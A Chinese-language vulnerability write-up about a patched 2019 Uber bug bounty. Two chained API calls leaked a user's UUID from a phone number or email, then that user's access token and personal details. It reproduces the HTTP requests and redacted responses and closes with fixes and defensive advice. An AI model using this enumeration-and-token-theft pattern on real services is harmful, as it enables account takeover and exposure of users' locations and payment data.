挖洞经验 | 看我如何通过Uber API接口劫持任意Uber注册账户
字数 1053 2025-08-18 11:39:00
Uber API接口账户劫持漏洞分析与复现指南
漏洞概述
本漏洞涉及Uber平台的一个严重安全缺陷,允许攻击者通过两个API接口的串联利用,最终实现对任意Uber注册账户的完全控制。漏洞影响范围包括:
- Uber司机账户
- Uber乘客(Rider)账户
- Uber第三方合作伙伴账户
- Uber Eats(餐饮外送)账户
漏洞最终获得了Uber官方$6500美金的奖励,并已由Uber官方修复。
漏洞技术细节
漏洞原理
该漏洞利用链包含两个关键步骤:
- UUID泄露接口:通过提供用户的手机号或邮箱,可获取该用户的唯一标识符(UUID)
- 令牌泄露接口:利用获取的UUID,可进一步获取该账户的访问控制令牌(Access Token)及其他敏感信息
影响范围
成功利用此漏洞可导致:
- 完全劫持任意Uber账户
- 获取用户的地理位置信息
- 查看和操作用户的钱款交易
- 下载用户的乘车路线历史
- 获取用户的家庭地址等敏感信息
漏洞复现步骤
步骤1:获取用户UUID
通过手机号获取UUID
请求示例:
POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{"nationalPhoneNumber":"99999xxxxx","countryCode":"1"}
响应示例:
{
"status":"failure",
"data": {
"code":1009,
"message":"Driver '47d063f8-0xx5e-xxxxx-b01a-xxxx' not found"
}
}
关键点:
- 即使请求失败,响应中也会泄露用户的UUID
- 国家代码(countryCode)需要与目标手机号匹配
通过邮箱获取UUID
请求示例:
POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{"email":"xxx@gmail.com"}
响应示例:
{
"status":"failure",
"data": {
"code":1009,
"message":"Driver 'ca111b95-1111-4396-b907-83abxxx5f7371e' not found"
}
}
步骤2:获取访问控制令牌
请求示例:
POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/1.1
Host: bonjour.uber.com
Connection: close
Content-Length: 67
Accept: application/json
Origin: https://bonjour.uber.com
x-csrf-token: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: xxxxx
{"language":"en","userUuid":"xxxx-776-4xxxx1bd-861a-837xxx604ce"}
响应示例:
{
"status":"success",
"data":{
"data":{
"language":"en",
"userUuid":"xxxxxx1e"
},
"getUser":{
"uuid":"cxxxxxc5f7371e",
"firstname":"Maxxxx",
"lastname":"XXXX",
"role":"PARTNER",
"languageId":1,
"countryId":77,
"mobile":null,
"mobileToken":1234,
"mobileCountryId":77,
"mobileCountryCode":"+91",
"hasAmbiguousMobileCountry":false,
"lastConfirmedMobileCountryId":77,
"email":"xxxx@gmail.com",
"emailToken":"xxxxxxxx",
"hasConfirmedMobile":"no",
"hasOptedInSmsMarketing":false,
"hasConfirmedEmail":true,
"gratuity":0.3,
"nickname":"abc@gmail.com",
"location":"00000",
"banned":false,
"cardio":false,
"token":"b8038ec4143bb4xxxxxx72d",
"fraudScore":0,
"inviterUuid":null,
"pictureUrl":"xxxxx.jpeg",
// ... 其他敏感信息 ...
}
}
}
关键信息获取:
token:账户的访问控制令牌,用于完全控制账户email:用户的注册邮箱mobileCountryCode和mobile:用户的手机信息location:用户的位置信息pictureUrl:用户的头像
漏洞利用
获取到token后,攻击者可以:
- 使用该token模拟用户登录
- 查看和修改用户的个人信息
- 进行乘车请求或外卖订单
- 访问用户的支付信息
- 查看用户的行程历史
- 修改账户设置
漏洞修复方案
Uber官方采取的修复措施包括:
- 对敏感API接口实施严格的授权检查
- 从响应中移除敏感信息(如token等)
- 对用户身份验证流程进行加固
防御建议
对于类似系统的开发者,建议:
- 敏感操作必须进行严格的权限验证
- 错误响应中不应包含敏感信息
- 实施最小权限原则,只返回必要的信息
- 对用户身份令牌实施短期有效期和刷新机制
- 对敏感接口实施速率限制
时间线与致谢
- 漏洞发现与报告:2019年
- 漏洞奖励:$6500美金
- 参考来源:appsecure
- 整理:clouds
本教学文档仅用于安全研究与教育目的,严禁用于非法用途。任何未经授权的系统测试都可能违反法律。